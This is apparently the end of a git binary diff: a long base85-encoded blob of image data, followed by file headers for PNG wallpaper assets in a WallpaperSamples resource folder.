zp<)S`?`IjK>!#A7CqiMhc@(ll0-C-asZ9ik0=h&3n*4hC%K_g1v#vqR%Nr;s(Ctr) zK+1{6+lemoZoJT-*wD{$cYXT8=w-pG8XeIUlLwa-A zpzhB71Pw&Kx`XlM*elw{e66XoDeP-Vc2Mw$`ycQ|;;VJ}|B6ifrFzf>NCfP47TcD3 zF5-57{|ARr902%#x3i8|@tSp_)XbyziRh`@iTcZ(PFayr7xFo+eB~pOcKoUo&v{aL z+oV+Z=&VGBu-efdh(dd8><>LIbjBa2TwzL$3sqiL1uyu;3%uY4bzT>ja>QpTMavi= zc`S)R-Ovq$OY{n_>PcKy^zNo%50gs9qPrT1xDL)}lEzjM?y@XNwX8Aq9 z*iV3!kAUV)k`iKDF-9quwhY`~OBbh_fF+LhR&6K>{sV4cqdXA}-S8Sush5)VnubwE*@@#w-=|dx7Muc)h%#L=(sM?al zFdds6X0{v>i}p*jU<4=G{)dUu6G0#ymjxmYK-Wi_`y#-Tw3XohwD;y=OMWl?E27Q8Ej> z?3;!zmXW``EhgMs-vX;;(<=Unn}*iADwm@?XqHbA!N7pVy=xXf_s{D3i2LSsxl9EFVBGIJV zMlwhUKp=&>$M-Vo>#nd85=eCkECUE;P!WQ|G@eCY&7awhbxk~@sL>E)A(7Sl$@CXS z5F^X*?MjSv}&hePYDwX*!nm|Pjm zyS`4vXox*_d)-1qooV(%_gWRNUyHj_Ub-l#j0;wXOQ_F7eKES%Ci=LlhQSd*%iMkOp*~JhsKE*8{+JIC3KmP-;5{`xmYy@@pGYglZ%b zX1%`cOV`Iz$0^aDs2?045NNr>Ue7RhjCtgW2ju_jrDr?+ckxRIE{=!VAZ!rNW&gO= zGVt{`LEw*he#ENFQ7!mlVy$yUH^b@mtLH1aIU`F=1H4 zU>&WZ+0Lumg#0lfTKOppsz{jZQJWcnxE?R1=8$Np25#pm5?i-!Dc83&bNZkE z{^t$+zxW2;<>R(ZuouR`(KJ&8o+{+qh#Lr`!w5YPNucTBxd9t2oP-LTudpB|0&oH{ zHZ8y-d_c?%!H&F@QVZM-l4^F_mtuL)OiPR`j1=bGwXuG^f#GpcgQ=aJ?NL^ZZDUqG zu>r1SA7Q;)zr=s=5!W>lzav7rMU8CiU?pG%Y%$elUrJd&NISS=%M(8cC4SiI?0d>G z2R=zbfW57dmjzM~5Lk!srWOC}Q9thsu|z&KKJETRy}GNcYXr%mRfb=vZ3(>uX&pF_DWrp|yCfR^St$!5qCsgWW+nE-t$TmiBO zC;JF>HW0TAuqZit{R9OIMcihTbXM(!>aHv>>ZS$=)O?h!)piECjO|U?h;KNgFy;9H zLtn~u$?}2YADXRB{IUDr8%;bMV9l@s={RCy2B~UQRFXdr_5?z_bF8|ji)NCz|En=1UW+8;H`fw z`J3>8C7sDta4g{kb`0)bN<*`+I@P$&{qx>Qg570_qa@IqXeqN%)w2svXfHVJ~kJ`>!DF3$aV z^hb{eU3dc=8`s1Xj|HAR>MxcfO8QfY8>Uh@rLpG1)In>%D_suJOkb)XegxnM4}RH$ z2PpFIuI;l`zRZe?4|f{ukGX2rQ~Oq8F2>a;zCqhXuO)QdjOeNLCRdUZtZ1QLwfZN- zFN0M}=REjjx3q%qO+{8GA7$*uULl5kdvfm?s= zlYYVvTzo7)Ifaj8AkOdJG%;KK#YKYFS|wo_Y|LD0N5OY&joSCYR`@3QJc9%a z_{V8MdTvB(6YS)4aG(PrUy3X{--~`3E-=(@>1~HxMy=X_=$c^DAy;uqZaQVxN~QX{ zcQb%((@QSzUWRd#B2Fw-CW{iN+mRYYtg;>D1a<~Ce|EXb*tjR=r`tES=N`0Md)sO8 z+Ok76YpnvGccXm`TW=1y2mF#1xCgt_gb-KCNR48?WLDLBceLB5iZk$lJTa}{* z4ER=;Zl(?x4kb%E35qS+lo}v+={1ljH#L#3uheNi(yHnBy~!svivRk>`zn)V=f5i_ zbOC$fUW^AUu17HH8+%~y1Y#1{5fyLb?a8Sn6s{er*+?5PW&{7PGUOz5X+T8?Vl}{V zEk}&Jcj+Dlvt1DDz9~|xEOijrEzio0tHiUS$eqjtuBhgfi$+hVC#RGcnVlSZ6l)UZ z)v42Jpcw;5ZPYklVx?sWd?2FP#ePbh+5U24_6F)AP=b_;1?4eoLU(JR%>&R97f91>>J0eWcdZt1QDoV{ySw8Dd}MGDwGK97}uQxdi2qWh5zZSDv5jkhg*3sJ9 z*Dqps20FaFuMFD~RP0P|0pFu(oyhk`-lfxm`SHF-lS6&I$wq;$;vzT3lNmcDv#g1J zRoG8CCd-am2!a%#2Qo{RtpU6^uz|s*Z}6oo+YHJx<}Wm3+rx&vNY@&{sKGV(K*Q%u z^2b%Etc)#;Oj&l*&GM!u*yJi5zs30YU4{m{;;jkf?OE^S)QtTs%SJ%2d9L0qC1twJ zcAFBg;5{7k(6PB|4qj#5E=EDb4?V_cxGAbtgrVU^)(va!PIb)%I$_+d_19Q%DLLb8yJP&pbxqTPN+X)j@N}q>D(`&uBh4FnrM|=uJJI&p&(ogfg<*}! zpC*7$st`7KQ_uzWB=|Gbt#;KBem1R9Ro;)i#6Q2zi(z>&%AaDJ%V-w@S zU;3{=*ByjW2K+?ImsqJ`ou=_qtu?hHFZ&DMZ^oEwhKzN^q4#HQ5L_Ue3yc;(Cvuhb zK0^SwW$R@DJ{aZT#@LaQ)(|kNfmfGzjudCkug(xyXNw{W@BbKAJtk0$KWN)RK7lO{ z>!fJW#B$^QI|Iqfcr@a!xAqi@w|;`bMj8pWV#aosUcVZ;4+{!I!xcE6YG40YVuz)PqJvPFB_8{=B8}INf(;(6`Zd&@fk~az#N0*gfO91j!w^4)*oQP8J3S zV5UcslcL5EuWdT(O@^S(92cZma8z=^R+ zHwHutPRwKNZ!Sf98GM~zZ#nt=xh&bJ>^LL(0x3y>+QY61O1> z80|`r$QGaUq<~aq&cw-+z?BFzrf_1rHt)*mYT%6av#kF(64Uk3NbKJY2&(AZp6bU6 z?Z9e;&8Y4xXh;Q0_|l0{xZu6y*ssUuwKkGkU@2(;{V6YNL6i&HZ-dq?$pW1>& zEg6bfNrRoWV%5l&-gFjY3n0zBUB&GL+XcEueH<%?@6&6@A4&@oNr1$Oz?9lcBPo?U z;e}dWYgBuU%4+#tB?0s>LAdsnQ0vO^-Z14$Kny8(YY_UzfQUu6JN>F%i&o+frKp?h zzmL2o7$vQvDMpi`Zc36gZx`}1tKW)F%fbTYwVxUv(UE>;3QZ9}xWa*ST&G1$48y+xhOT#8NKDc09s_IRSfBQYYy zzWfAOZBK-9r9JbUPFkx4_?)xG^(f5m+?MSy{r2{Rh2(+Tr1HCW?m#@*?xM4w6F)-L zI>)fvS7tI?vJq^UTzW=?uDDD1jHyuc@wk&Gya#BoDT?-yJxO9k~N5+*a_~p7|3j29 zRV+W+daj-IfK%?kw)ZdIGY?l>y|;$;)R+w{5n|`#2kE`CBhGOP%(5io*`O)csI!$6 zdh^8bVq-B?K|J})Kf6?qru}Iu0&8SBZaEAPO>AI86i-kq4Bx7cFvPCm#&tW{LvPyx$$-2q=;e%|iuTY82-JKqy+ZNYB$lw|3)-tZ%3yXbSLWozmGO3+^ns1u0@cWlS4`b=L z#FN079jZ?90xp0ys}e~|?-?Q}hKQ~b%mjH74~)EIs78yH^9@OZV36x2o=@~&#p0y0 zDr6}qj$(HZ_0t*}_q1u10nPLWolpV^_`F zi6#w*zZfap>T>5C0_h-qDhfA=9}v70rhB#%3)VuC2LP4xrtNX-=O>!IG4f2DfUz7B z0bXhbM?C%1XjGia9VZ>QNQfJ;mx$(>O2{R~0|vL~6~qE9XapgpJ~pCGOTima1~eix z0+Jh>N`Via3NZkzZfBs&GF~1slYze{Weekpo*m3my`-e04y+RKYOy)Sv*15@Byu%r zDbdnJ=5ya)e&FuDaf}*kynwqq^Ur@1e%PIP(@v#%Z+YQV!is^U1p6I6o;}z*sy-|= zGB!oN9^_YpKq{fE5sto(Z?j!_VI{#l^psUSO$AC8b?78^f2oXe?R$ zcw&Fjwh{TF_fy>7s-Ed8Lcj_o09;9O4>7dSPEIy(HN?ScFztjjA@iTBK5qf!N>a(4 zbSwVlb0p|MydU@wHEsq+1#&27tGC977addT7`qKInT_1-#K_7+j1l6@Eia(^G2I7m zC@!b!(5UUy5iIBesf$1gqff)vVBt_Mv%c2#QGjm@AT0w^r27e5FFYGcXFM<$Etc^bnj;A7DCc{@sQsNF zaiNESbreOcMWQIGJ4+%wIUU3{#4X{H%Cb3IEx{n~!v?UJ5ce=O3tIQVyJNkiR9=1? zh<_IMkrn;%TIz@uvj8&nvpWIWiOsyMDLGv&n%!w?)1vfPbWoeeJuM(#APJG@%iYDP zP+gULhh(OZ$8>C2%6~DN&sDXP1fQdaCR7`OF|IhLvu-y436IU|Xb%G?hO1;3U`*yB zrum9YYj(Bag%qKD9&>+-$oJ)<>?~yIMff9wy`m88K_17;7{LPlwLG~hc2Mh1wZ@^! z4ek(Qz@j9%!7k38J-sO&n#z*J^Wj?;>H7_pL_Aj;8`F`opq)oCy>7=V9MGqL5p2;! z#0!>Y?=3gI!V(ZoOec20Shw4>>kU+VP;Hg#E14lArE+bIJxX$yEhy=XSA9$tYu%24;5&6x!yI#QQ%|6l4fA=ExhIq6Y=}G(b z1kN3J1mEQO`0?ZGiPGcW;y;Q}T&y|$ta)O;&FX=1LT37%%-04cOa-ZF6F0oCaW>n*Zp zb_OgBurr>W2e4@(q8DHjLKXRKJNe0Aw$tB@*JmRWXU<5QKKErO%FW^JaoF@^YR~0 z6uxgEbg7f})wc*XnUtkG3QzHH@kH^J@~>C)XYP1uqD)@ZpSk64{;s^Xg{ZCUzJNOp zs{}Y%tNU|kfA-H@FSnNZT8CH9lVMAPPz#?|!xuCUmFe7uTe+IoYxd*4;N5`T^mi(vgU^vvjKwN3A4}! z8gTeCFS8nq*`T0nb+-BpR-J`rp=Kh(VI#MiU<%rezY1G-A0T%oc zHwGYQi@n6#@$B)1Xa1V+Yha4;61Nf~?*Iio=JMBo2+?@}z3J(Q$_o22-uR=`F6d8v zh=AUMXyWilR7{|&d;q0OV51!{_^lyidv6AS^(=VU9p1RA&o)1i>kd2+N2`AF>~To(D0*;0&3=Tm&-$xB z8An_h7RmX`LCm)pBuqr0!I2Y_S~lQ_KhgS5)Z7P{974i zV*N{@QxB%%)Oui@Itz-&z*pxg9(`6jBnCB#HCj6ZgJ0fHj~PD~+mkZIKF-W2GYj|; z1z`#;k!&7hUFCp(X?7=_{%$hJT3+i@xO4t&+SDoF~f12G(N&k|wV zzcQ$T9zBYT>#e-~P*o#qCd}xX7v~A$yy6pFR8`BnE&D~48 zqd|?(chstA{ion4$WL&K^&jr7SV4OZK~j8g$wk0ll?)rYBA)~f;?WuKqfm6l z{{%1DedfO%jR9%oPqC}due~T_RL=5&0L;FP+-C$P$nahQVVKfSQoRZ}Ri)#$m0C23 zV~Z#jWNnfK;L7+Whgux~i`WC}YGz%Cx zNvt|t5rY3n^(xn#&x)Ba*iS-z`rTILp-|0~mO#XqLFq650AjRh>nd@l~9%vsw>7>p3 z1t8xrd{@JI@6_To&h6dI_?sxpe(Ux=G}5Z?!no|y0nGP-mT)3qz9CYnnvL_bq(a9O zKTuHspl75uFGiMBxMC<>2SsLn2dzH2k3ka>3Ys9%?weIIS6lzdU~U&bID2%_)tK>Q zaI>T5@EzzGKHy3HZ$m7JaWU1NLx`3pOgFQpZIFe$i74JEjkXm&0vTA z=ih(c!2iG-n3B3KTIvRe(MlbuO{2n!j1ffYlLE9+BO7TV3d;? zR3?>SdHjj25Ta(%^r2~T%4ccVc|wC#oAhYZY|;JuWmAC403GIv(Id4`J3CK2 zXCCPTQ``s>PIIhGw~sVRx=t&h#F)5t7k}vpx99H8RUSYZ5D%LyGTOto%8WWi)*DX- zBPB?n--cN^pV&5PUuTFsJ!0SvmB}GiCV>a^t;t+=hTt?osMjJoS((~j(4|d`<=9Is zz4Zq`n6T>y$gcVmh0}#yH{y-T4>4vDGrCJ_R}TPFb(;~tu}hdmHa?Jsv0h{dgf}M~ zktD?~0QeRTwo9mkj6?u`IEyq$dp{*tm9MgH;xUP6qCX^h2ZU2I#_Z>*;c~Ad*3pu_ zA;nn-o}?pbR?u2K_SalZhBQ|bWQ)Zizm!ItNVf+ZE0`*30|EV@b8fg2*$rkL5d&;J z00jo`2hWHJoVerZxlTb`KQtF#Ce9FO` z^b=O6&`i@*TZ6@Um0_-NIgqvAqs`-=u3jAt>Pr9ItO!^M&J57Lc`r^PbSaD$7yhMh zCu0&AFy&b_*ONmZqg?IW=#;zq>z58|!$LSL$AS#8J}hsn?2PKi4UHMdG1%Wi9^dR7 z(wSk543V@y86tT0hOUPaiA#n%8%e82zPWb62W5IryjkL_Ch+-wX!zNCm-quJkVtt@ zQzZ_8@1~X0+C{dlBsJdsTNC42R?Lj2C=W7#1Mek@S8R%&A^^rM0wtMc5W|=0j>gj> zn^)(<`=eV3Q@IhUoORiq5XRgJTMjEFSLIKAc^yxrI8si^IGMa9 z-?V+e{hL!?N;8KJ2EJ&SW{7%BX|sZ63}uc;SIK{7j{FPu4H{g@r$FbzWuyNaNtHJv zQkD%tZ1UdLrBkz7%Mnp|ryHY|Y!@(@R|-dLjL@n@HtW4xyg52i)t$UKw+jQh3LjjDY*?G7 z`ysiA4$T`*MERv?owbNRsE1$@a?}4?7zH*8S($&cr|_cfJ}n2J`y2hq*!-nKepblv zhU~*ZaQk)nj|_K0U<#C3=fk)tHMxWfiCTxo_X#$s(~6DRR3c}#u81&s_4nhJO>0In zB!aMDtZ74w;g7WW1tXmm^zIFgm z_(%xWt3H7sw#KJDLq31FHZDpba%R?f)r7?tW>&*4&%MidV?=qLy<{6kU&sf}N_n^A zc(k(qqstH8$WxR_GoaPt!AfuiK{^K$f$j`|yV|CXR2GtJz~`6AZq#%%ESkP>~aPqvih!?4&a>d*V8DaJD^YSVOWQ z&OC4nT0?fhm)nBH;pw%`lrrE3x|bZf1wKh96BngW1@7caAotqzJ`W;Gu;tE#*rxQM z6o$zDM>lKy7SGI7>A~hhXETC9Em}-=!BTS&B}FxcAuTb0a%~zK1`zj-AgcH#3oip@ zp`iCNIQjzXEJI#FS0piG<2x@vMpQzi5iQEFSp>zaFA=QY*rPx&k)OE*NOcN%U8OVJ zMv^{KITYT1UuPydj2X@aibO+@rO>Adki<5u;ipY~kaH51CC$Qxo6wrRLF*$H;nfL( zkFceIw2^mu3uAtJx`tPT=0I1CGel;Hfew}9-wuLu9Q(L41Bjjsh6=l0gLK<)-Qb6L zbsBC)o;^t^2q571#W$h1_T0B_%7DMS|NPhdn_Ij0T1Nd|V|-S$KE>m%=Vy0A^MXc> zNUJm3)e##8!$u~1yEOiHVSfDd(MGL-duo&UgyFbq1sU}n(lc0xuK!4_L%H?H4L_OW zuki3q(UHbgDDORb`FCT|*2>crjHc~?2jVVChh5)@fub{`nhtK;)ziiqjE%f1hyVyT zGw2J(Rg5n+z4|Z)pf%MaX~JixtC=f?{44?~){LkPmqP0wsKj}v30pzreh%Lm6dKz% zt4OENhz``p$CDbW{fPct8W}dlU`92`LYLWm(60qR(WiP{csv_dpp; z{i%K4BQtVDf9fFfhOd`#OGyj>a_l1OQCQ#Z@c4{XsE479Pqq{UGf-`g4%yPxFY#wK zNyl<=i{nd zg{37mXb$AqmDk~*2NT?*zm~OK6Gt$7TvQ!zqFZm)l_n`w7G|PbKe_VJH(Z&-eSAXZ zsuYqjzP_Pd`~h6Yty>K?Tg@t7eR3j>a9H0A zA(Wh(Ghw4u=eik?rHR}`Gd^40F{cwG&*y@UK$olLx##WTN`kdANh?RA!hkkwIdA!% za;??4IhWY>F{MhGCAR>Q5#9(qwK`|j*>&?iMem$aBK`(S#f@?S_IYrALEd5sd43-4 zWy+2blP>`S;hFgKs(m@(BOc+N<;dUR5qd}ej7O;PD@}ygeo8F|?<|c)J*cxhP?yG7 z3e_eRK&{?{hVY>}G)G9fs?(%%=w)3W7fa!}>{oKcjDgab-wD(s$)VdZ9|+8+v*v_# zN_;SQS;}c#PZQ08)$!AwFYgCf@%iUS8aV(9tz1jH1Jf0M!icXlLwm+ONF_+LK_|MC zN@a0jH`Y~FA>{Zl?!gYBaN2tr??dqL?1fzmjvB(0XKfwopA5i*YK;N8s?~t3bcY$w zQt13qkisgXU?+lES|f#VAq!n-i|2o}Xm{}NpQ$y!5Zyb9D4%X$wS0h_asbVhK;lAI zC+(n5HFwk`*%xN|tXl}9taem?@BZ?DwI8!k-oA(prIQ~Wn-9zw>ttU$@ZL!IV>U`d3c%+|TJ;U-wG3W$1s1nZs0 zduah!4nWuxLV=2tRl!{b?2xVpQ&zAytMQfN1Pr>`NgVZ69Q@G%EB6qeT#UZ+4g9lb zyMFxaH>HPe_R?M;MIL1zerkbt3h9KB?YT#KDD5)YN1o#Ii*!(zEX+cK`jRyBW7$_g zNWu{ZlJkJWlX{CsLCSyv_NPk&JN_U?BhJ$8Sj1D?ZI2nd94GS^4ns z+w4Xk@i<0@ybnV*o!YCZQaRgwQqvm%;bp;~F@493F?Vns0tL8_>|5)$@Hu2SQFyB{ zi&y|7oG`*@;i@2TbM&jZJwx|(lpwoK51EBElFbq%q0!0k$$F6^~F!`S_WHi z0dvq4JS`*ytX2}{1?%g3CjcXT-Kf2!icog|%zrAegxAumOq{XO=9#rqx_~jg%DjEk! z9=+*P0qT>@TNqyxBkw}K@F~i}*KVMN3ejkTybW4Zs!eF8b$uXEiO2SDBS|plM6Qtm zI|<2D>w}N}s#g=-%IEC^G5eCJe~sXVsT4vE?8(M}rp?Z;|8oCrBKXKOkAEMO@Ja{ZOZ6AF;LUokK%5tEMRdjOHN z%@Iv=Y-4IJqw-j3c}{KuN6Ru)cB~7qD4X4-4LWB#NRa{`&4H*~aLWNHuwFVtIXFsZ zfKyVa;sjm1`|7E>iP zKna)#8&!1T|2&1TCe9%_o1M#eBeHC->0-p?WHhoCyS`cqTF`f`Vc)tfM z3r|-u2D!q_>HuP(8-RZyOJEJNPUR=yN5=Xh@G+GTAf4$x+JW{*7}InC7Nw9!iNMyJ zt=9NFyFZz{4$#SPaK0FQ^i8*5vZ>xk8wP`dce>5mZ=r(InTNLCd&&#LTI(g@A!jr< zC`#>#U9W%g1Z;L-H+bzwKcTa^`X(nJB$)Vk`^eg7i(kadzSh~}05Q>&PRvD*hV1c=SfnofsCzguQg}$A z`6nd6#|mcnYp;gg4+oW~ECUdMumlkZd#X9V>1?%8TIh?GUNLdTN1N9}RDm>pCm~e7 zr3&|Pya*(7I&i{O-?#*TG1HZ3GV#Oew3L9K$qPaNnzXrq?ns;h6^NrMlUqBgIsmcS zW{p4~0a+((dNZp{iD)N8E{X@jE@2*6DOXv41rTWyYm2=Q>}EMl6+(7gviM0#Spp#d zQuqXk?tsK~e-7;Z!+e5g|JhBvn^p3Q z`c~^o3PYCvS3Dg?Ksi0k3Uh%KPR24CpC9agpth_Bq?#(^gg%wQHm1*sd%SCX zP8R-OM&$7B2SMk&-;Zl-Xfp)#^Ak5`%$IH7=OqgP(@yFY)(ZgmTl>Yq1}R7{;<&BA zgWhzpJ0K}G6-A!JCFt`wb*HN{yWYje13;N~^RBU(3V^@DV(pc1=bmyeRQRyc>C1>F z3h}G215Q6mo&AIPvfagBUO#Z*u5i_Y?7@qR%vTBu9{*T)heeu}h+byT6`$g~LqPA}d%peO(sbxZEGLP=% zDGmxOX>*_tut&$k=?3)4K0}7Hh!GT(F|O7}mov*XX3CP=LdRn7Q9`Ej$7UIK{cPyX zTs_qmN>vUhjNnxS(I+uh^>W6E)W_p$v@`MjH=4pjd&ef~5-RBrWgG^bJJZRFql5Mp z+201+y7^hOt9Ay)YOvAzh0qtE>0~PS$?gh}Gw^d2VQ(r%u(bl=_}7<-3?so$J24{y zjcSPsP7@i1P*746>Z0>vx-OknEZbIB2!p!qf$AV*Om9zgfAg)@8sBBrIG|caX5Wu^ zZc%3Qm%m82y8X4_UP{<3x%-=F8e!9v(3Yo^ud;dJ!;tvP2^a|?n)JKZ5-ME$#R1`) zXfE&5c$lv+!opU)BJ)+as#Ty>++^)fw1L=@A|_$dE^ZPGDT#_imGj|bIb|KmC3IIH z{ld7@r5ln>(|SG5yoiHgfAsl3nlPFe(<81mdc~n!<_yO;j7Mzjqx*;|$yjvUNs&g0 zxVoxve6X;d?!+N)XHNQ4IjTBUS-rvxEyCpPxJist7CG}>08cb06kt|ecCzzsMfzrHddR&izilm1ZBUaIdej8IIw+Xu+k2{sP*LJ;6)9RU7 zFz(paHGJM@jIZotv}#&ehdCeAmo6%gi^J)Y+-mn)D@=9NKtqsD9gyrY?F?#Dy=BDQ zdZIu#+Ae2^geB-F5Kso^0*&%kP)=&ZC^-$(kthu zp|t^h+AbV2-7%~!$+v!L%`kgBhOgUtkH{~|7_T|p6du7Vi|f{As?+p^Y4KAh29`$M zw|$?^8#5fb6Tu^SKzF=BO&<91`6n#E;Cnfhs-ZqYg)M!upj+F8N#+y`yQaRU?Aj7x zW~`8JAa9_%wOdfOz4fVZo{pwaM_6Lg-+bVK#m607|JZ^4p-25Y3WhCfPJIU-zzO=6 zI&DN{JU#wK-641%1cQKI;mhr#Pqwu_?Xu)d?((YQMZ^dKFaq!lzRC#N+cilnV2&|? zFF0b@qSut^-r6P9&J$1m)Kk-lh8C)#Ml9$ZV>%cx-5F#DQ)Yg+@ugAc!R7JQ6~mwm zb%{VJ8LTS{EPN+;@Nyh)TfvggPzl=0)KZ^(IBQsPnozg?#k45wB-W)?A>KR=a`7N< z>VIu=gkCeMj`yGZ2Y%Vkn`PT*-1_@}OzNDO^p*@Yd>glHe7DHqYJFMHRCvB5b)9Oy zi-nI7GoMoHY61^p;-b_x>0GXA9@s>PQ+4I4?s64PIia*dJPQ4d#r90B9!C=;+(>Sfy zv*1;I)MFBk`FNR9U$m{-B!i%TAlU-ACbb`;z}GF#Ig}?Q&uP<*>UOUFi8jAoQg(fQ zv9jyLU(ohj*RQ&~L~}-5nBx+vjjt924&vK+3Og@wWabuSn_it7CEQC5`%bg5FUMKN zC2$o@H{1Cy(R^;M;)A4c^)~$w@#|-EUs#wd8BVPJP4}_31@bh z`J#95pMU>(1OKyc;M9S1UBMSijvd7egHP63VWt*=VcoCiabFRHoDa1y*t(BdoPHSL zht1to&CKm6UqxG+C8EKp^>qa(4t{KSazxUR;$7JP5B{R-*spg^B zj0|qqlsb)a)idR}(T{xrSjYfR6yNWKCH(#}BURicw6-j5@m||JvGlN$P?XaXDJwrT z)K93x;Ia_{$d)H`1{w7QC*)$L-3x@9z>Wl4Kjtu9S4QajAF zx~IDEm(G3==e#K@o2ekgWw>Q7$j{f<;w4gv)p1T_ZJ3`Y+%0OH&@oBmSTBB~?O9A=U=`BIqna7hdqC>|HeEhKd!jaM6e6d^bPi?>4c?8y}w}VSTZ+ zZ)c{^1EjFnW-fZ~JM_zw##Z;3j8LO%i)$__c!};DTQ?`doxGT?Orgygfd@PpP+8aV zgXPF2XtKl1MQ|uK#|3T_*Dm%r;%bhn=3vv~Pi-TTQ49Jv`u<^bLtFnzJ$`!;+`f?zs&rh{>3J;2<6tUl&vLG81 zv2ENvxs7+0!F^3lUYShnF@&dW8sqP|n{@&na397~4OmLXhlonjA$haK0YpdBm7#mi zo#%K!f^fN6pIlmxg2#QIhXs{6L z_qsdqAf@KV`V1a*alq>I@Cek_!4#JN4bJSgQIEwF;Sx5w;0As{`dHMyqfKnx{<6qT z9Pv#NyorRnAL5<1p4@h>=9J{;-msDLWKYq}h!u+JlZ~^6qax;sTd9=w@1{kSE||sa zG)Ws#1>Az7xUzI!VQW#{rbs$LLFrgzcT;bh5bkE%#9M0mdY576iQ2lA^%JKGE%*y$ z+Z05L_~F#}3FpR>e#V#0JHMBbW4P}AcbIekUv7hJ9GV(7OTVMt!IcXkkf+b0?=K!+ z`nJLyo15eON9#uBZn_herZ4!(zj5+h822hG4dD8^ZTinTdP&}X#x1|TaHhjt9rSiP zp<+EP06aRoOMPk;KlyDF0^MC#uHvk@`~(pG-EdtrMxax}zAO5XqCvCh*b!W3L@Uj4 z{)^@#eT~VpcfT8;rm@WMVs^%ckYGw!W6!WU&CjfN{yzN! z$C!sJ-Zsh}frb;wa3DVU$BE?jzbka|&Dr!Y;^bD;UhleX(0HcY)@{PU@A@*o z{JX-?;`E=t;tt+I?H#dbeY3WFtE2Z0ysDbsjjC>Wzudo`(oHV=i*PA;DsQ(56Wz#j z<5m*<4o2%;CtDQPoNf96+fdN31fHn(JZFtj_NBYW*L42IUDGhJP{n3v@BM{7=ps>! zjh0O9t+V4!%Pa4F-)F4`gpfa7D~yhxrV>(TH&%6Mp|^Z{b|*+)yd@~U@0OkS5+hJD zM(7Rdw7zyYo5*?#XKC*!mhuzFB?Q&B_rq@SEFoNo`Y2?g38bIn1ogXBuCn4&W)Aw6 z$PGnsBa$>KYEOgXm-ePOa?#^r0<{&t?CgkQ3pLH}FR5YTRNp$1O#X-1yFonm(g7;t zL9c#Krdl+6!eM+lAWi;oQXHYD+X*nFWNDrHIn14OH?v%j}ce3(TK zm9E355VtIY`#+&8!QlUm^Q1{ysAM5R4MYxoi)!v^MhEqGmEd5bWi#GCHg1y^Dp^$h z^klIU!0!cv$FEux<5`N z-pqQ#`2E{Hdo1xfdG1zUFCw(L=HmP)dH}u4E$kwr|;W@?tkb3qoZ;RCn9= z=ed2$%1gIh7oAAk`2O^-vz4RY)SmBd(>V{19iCEV1|3+G2O+ziQo- z7$Q9z1ZQ7<%`p(0C@PfRo zJ|Bp;rANtmzO?IHfS>SY3s#`?E59>dC6x}3Mb4?}nmgwDsJmuyR)MxbV_d=!2U$W3#;P1B*RdRGRM;CS` zem`LSEYj6=R;sj|>Y`Ty@KDm4~^9>qvcvsVnbtw74C)DRW}`;(hbiZ zi?8=nUdR*ah!>l5oP2!DagP6pnT|NqwBx=BEmW?YY*!BR$UN#%uqYkR^%`mR&(%d$ zAq?830A~xvLH#S+wBBopDlu?mw}Omj_gP}3RtNQ^Zj4Z^q6;tCPGnpip}$LMG{nLi zpyXJ5Cz#LI4M%y0vrVg<&b^Tr`52ccEvtkP|7~CMw*!YvgTNU5jax)D_+vt6Tj-+h zgJ3vbHw+Hd>7e#Rzy$-XYUqNk`au^^#V4(4(h9mc-Og}YHpS6bYin>+sbR_p-J1$6 z_q49T?~u}}{m=ex^#}r+7w*_cv!v`$Ko7T}3vbFSH3)C&MymmS;nN`{^oW^Q1z6GB zLhqNs`|<5ubltGOw;%si;T3B5Lw^Xgz<ZF%Bx}j1pPU0f`QfmwR@$-7% z@n=Ut+dk#b(Bro`tid0<^neAp1;26go@4k!2H$;;pI(yQ^4=@p;5cMMqKc&peef?*RNpH-eGEQX z*-ChlC3*N4C=K?xh;F1gumpb+i+hdedii@rop?JKdLrM)(9&Ta{5NSnzbdU*HiTE$ zn=kzkiurh-DcuH7)Z={!T723ot+>3Lxqe${;tt=sqfi>t9og~ifPKvYH_^!K&Z6^g z+Dg*k7Pqs;*Ho4g^8c7P(01=l+uplB^f?+ZuNzuC-Rm3hIy{=Ixg8ev1XRfZD%lW0 zO~PI-&tv}6bdQbDtM(dLGgDY!ek?hnR!-SKyQfYf%KG$d3-+3ExWEB%iFd%6bh^y< zr%GK4m;wqK6`C~1C3el~*A2(J_WDZ32?|7h+w9H~c&Km67WU13sw|JXcxGU%3b{1o zJongrFdB-r3P!4--`whS6V=z=FPQsNWqqbYG)LjXt4i(gXv*Bn_{869}{l^Jx^6~ou9eYIf0RWNo{ z-Q5wSBTnhQ2{8tTXs(c5p>T`S0E5xDU8`I%f4h+UzJJcMi3^q#^$jD6ebJrQMap4Z zS#NSsw(0!T_tBi~K2OE{8KP4(W33L=>ktEYY91^p{)T*diNja+5KXwA@Mh*$bXf4{ z{qRc&YTW%{KsDlp^R>j#!&BqOcH$2b#r@K|VpRtE2+W4fpP=DNBlq{CUoH zFdoY1aL>-3T>E(AE{(|2*0#JOt{=3m;Wqn|zz-$jBvyT!ZGf@G6UM2_uM#nOs zb0)L0<`jN)>-AfLWMkhu%5T7^n!$RG7v1)yEEh%0X$!K#nhuNji#IQ2q;e)_9-ST! zH$q*u>*4BOmVd>qzq1&9j^5q6=-uAUggC~w&?9CLtAHL9>wte!iatZVde6`GjDfB-98XS`g3i}wLxb_8}xsZ`r_3cMK&;NfF z`~nVKoV<~w2}@h@!F?2>bSC=mnm#;wFuv7xE0xz-Ah1@iIP@ZJ%vP4J;3OAO8FnUL@!bK=u>iN&xTjv9MkVPk5Q`eetvpjrS5UPo8z>b69hQd!#g zl?ipn|>UpJ1YYox|2=hg};WRPNf>&$~ylSu9PdC5E??*GnrkU@nI)@kbMb~PXE-Tm7 z7h1s;$zZb1SWKZC`p@`d);E~~6R>8}l34m30r0DX#(yJpeJso?hK}Y>6}v>baia!l zJrekVmL+>PwlokKm+>3Y;f8&qlzPR!lp7XUwU!8eU<{{0dP7^GHUIKxXboMjT%#|E z`XOQTo=b6hMVK9C?NP^$h%K(UZ-v<&u0!wQIfM(EBfCV9a)dAWD5DKf5c8|t%dOq2 z!Y|hn`MN}g@tX_hgmf(2u}K&~#)cK{FI?0I%)_2ZPe%{+XJu@-I zYfY}OG)f~>Ol*Bd&;LtFuYGiPC%7Pwxb5eC|I&s3LzSQWDp9EPnulc^y6%S_fw+Cw Kwt_9Lzx*$m@z%5e literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe5.png b/Resources/WallpaperSamples/Cipher by 